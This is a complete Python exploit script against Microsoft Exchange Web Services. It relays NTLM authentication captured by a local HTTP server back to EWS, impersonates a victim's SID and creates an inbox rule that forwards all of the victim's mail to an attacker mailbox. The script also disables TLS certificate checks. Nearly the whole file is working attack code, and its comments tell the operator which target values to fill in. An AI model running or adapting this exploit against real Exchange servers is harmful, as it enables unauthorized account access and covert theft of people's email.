#!/usr/bin/python
import socket
import sys
import struct
import base64
import httplib
import ssl
import binascii
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer


#Port for the HTTP server
#Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py
HTTPPORT = 8080

#You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS 
target_ip='exch2016.contoso.local'
target_port = 443
PROTO='https'
#PROTO='http'

#Path to EWS
URL = "/EWS/Exchange.asmx"

#SMTP addresses of attacker mailbox (we will receive all emails sent to victim) 
ATTACKER = "attacker@contoso.local"

VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"

#Debug flag:
print_debug_info = 1

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    # Legacy Python that doesn't verify HTTPS certificates by default
    pass
else:
    # Handle target environment that doesn't support HTTPS verification
    ssl._create_default_https_context = _create_unverified_https_context
	
#EWS request that will add inbound rule in victims mailbox 
body = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
     <t:RequestServerVersion Version="Exchange2016" />
     
<m:SerializedSecurityContext>
<m:UserSid>'''+VICTIM_SID+'''</m:UserSid>
<m:GroupSids>
   <m:GroupIdentifier>
     <t:SecurityIdentifier>'''+VICTIM_SID+'''</t:SecurityIdentifier>
   </m:GroupIdentifier>
</m:GroupSids>
   
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
 
</soap:Header>    

  <soap:Body>
      <m:UpdateInboxRules>
        <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>
        <m:Operations>
          <t:CreateRuleOperation>
            <t:Rule>
              <t:DisplayName>SomeRule</t:DisplayName>
              <t:Priority>1</t:Priority>
              <t:IsEnabled>true</t:IsEnabled>
              <t:Conditions />
              <t:Exceptions />
              <t:Actions>
                <t:ForwardToRecipients>
                 <t:Address>
                         <t:EmailAddress>'''+ATTACKER+'''</t:EmailAddress>
                 </t:Address>
                </t:ForwardToRecipients>
              </t:Actions>
            </t:Rule>
          </t:CreateRuleOperation>
        </m:Operations>
      </m:UpdateInboxRules>
  </soap:Body>
</soap:Envelope>
'''

#This function takes NTLMSSP_NEGOTIATE and sends value to EWS
#When EWS responds with NTLMSSP_CHALLENGE it will be returned as result of this function
def get_ntlm_challenge(ntlm_negotiate):

	headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
	conn.request("POST", URL, body, headers)
	response = conn.getresponse()
	resp_data = response.read()
	if print_debug_info:
			print "[DEBUG]: Received EWS response(get_ntlm_challenge):"
			print response.status, response.reason, '\n',response.msg, '\n', resp_data

	if response.status == 401:
			Nonce = response.getheader("WWW-Authenticate")

	return Nonce

#This function takes NTLMSSP_AUTH and sends it to EWS
#As a result we will be authenticated by EWS as "Exchenge server"
def use_ntlm_auth(ntlm_auth):

	headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
	conn.request("POST", URL, body, headers)
	response = conn.getresponse()
	resp_data = response.read()
	if print_debug_info:
			print "[DEBUG]: Received EWS response(use_ntlm_auth):"
			print response.status, response.reason, '\n',response.msg, '\n', resp_data

#Connection to EWS 
if PROTO=='https':
	conn = httplib.HTTPSConnection(target_ip,target_port)
else:
	conn = httplib.HTTPConnection(target_ip,target_port)

#we will use this  to stop our HTTP server after the attack 
step=1

class postHandler(BaseHTTPRequestHandler):
	#Handler for the POST requests
	def do_POST(self):
		global step
		headers = self.headers
		print headers
		authHeader = headers.getheader('Authorization')
		if not authHeader:
		   self.send_response(401)
		   self.send_header('WWW-Authenticate:','NTLM')
		   self.end_headers()
		   step=1
		else:
			if step==1:
				ntlm_negotiate = authHeader
				step=2;
				if print_debug_info:
					print "\n[DEBUG]: NTLM NEGOTIATE string:"
					print ntlm_negotiate
				#Sending EWS request with NTLM NEGOTIATE  and getting NTLM CHALLENGE
				ntlm_challenge = get_ntlm_challenge(ntlm_negotiate)
				self.send_response(401)
				self.send_header('WWW-Authenticate:',ntlm_challenge)
				self.end_headers()
			else:
				self.send_response(401)
				self.end_headers()
				ntlm_auth = authHeader
				if print_debug_info:
					print "\n[DEBUG]: NTLM Auth string:"
					print ntlm_auth
				#Sending EWS requets with NTLM AUTH 
				use_ntlm_auth(ntlm_auth)
				#Let's stop this script
				step=3
		return

try:
	#Create a web server and define the handler to manage the
	#incoming request
	server = HTTPServer(('', HTTPPORT), postHandler)
	print 'Started httpserver on port ' , HTTPPORT
	
	while not(step==3):
		server.handle_request()

except KeyboardInterrupt:
	print '^C received, shutting down the web server'
	server.socket.close()
	

